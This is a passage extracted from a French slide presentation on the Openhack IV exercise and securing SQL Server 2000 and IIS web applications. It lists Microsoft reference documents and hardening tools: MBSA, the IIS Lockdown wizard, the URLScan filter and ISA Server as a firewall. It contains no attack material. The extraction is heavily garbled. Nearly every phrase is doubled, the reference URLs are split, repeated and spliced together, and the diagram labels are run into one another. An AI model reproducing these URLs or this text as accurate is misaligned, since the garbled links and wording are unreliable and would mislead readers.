Cette présentation est tirée en partie de l’article MSDN :Cette présentation est tirée en partie de l’article MSDN :http://http://msdn.microsoft.commsdn.microsoft.com//librarylibrary//default.aspdefault.asp?url=/?url=/librarylibrary//en-usen-us//dnnetsecdnnetsec/html//html/openhack.aspopenhack.aspSecuring SQL Server 2000Securing SQL Server 2000http://www.microsoft.com/sql/techinfo/administration/2000/shttp://www.microsoft.com/sql/techinfo/administration/2000/security/securingsqlserver.aspecurity/securingsqlserver.aspLivre blanc Livre blanc Microsoft SQL Server 2000 SecurityMicrosoft SQL Server 2000 Security http://www.microsoft.com/sql/techinfo/administration/2000/http://www.microsoft.com/sql/techinfo/administration/2000/2000SecurityWP.doc2000SecurityWP.doc Config C2Config C2http://www.microsoft.com/france/sql/utilisez/infotech/info/infhttp://www.microsoft.com/france/sql/utilisez/infotech/info/info.asp?mar=/france/sql/info/sql2000_c2securityguide.html&xo.asp?mar=/france/sql/info/sql2000_c2securityguide.html&xmlpath=/france/technet/Produits/sql/admin.xml&rang=2mlpath=/france/technet/Produits/sql/admin.xml&rang=2 Le site Web de Microsoft France sur la sécurité : Le site Web de Microsoft France sur la sécurité : http://www.microsoft.com/france/securitehttp://www.microsoft.com/france/securiteLe newsgroup en français : Le newsgroup en français : news://microsoft.public.fr.securitenews://microsoft.public.fr.securite

Page 48: Openhack IV :  sécurité SQL Server et application Web

MS Baseline Security Analyser MS Baseline Security Analyser (MBSA)(MBSA)

Page 49: Openhack IV :  sécurité SQL Server et application Web

Assistant de verrouillage Assistant de verrouillage IISIISIIS LockdownIIS Lockdown

Durcit la configuration d’IIS (4 ou 5)Durcit la configuration d’IIS (4 ou 5)

Désactive les services inutilesDésactive les services inutiles

Restreint l’accès aux commandes systèmeRestreint l’accès aux commandes système

URLScanURLScanFiltre ISAPI pour IIS4/5, configurable, qui bloque les URL Filtre ISAPI pour IIS4/5, configurable, qui bloque les URL qui ressemblent à des attaquesqui ressemblent à des attaques

ISA Server : parefeu (dont passerelle applicative)ISA Server : parefeu (dont passerelle applicative)

UrlscanServeur Web

IISClientPare-feu

ISA Server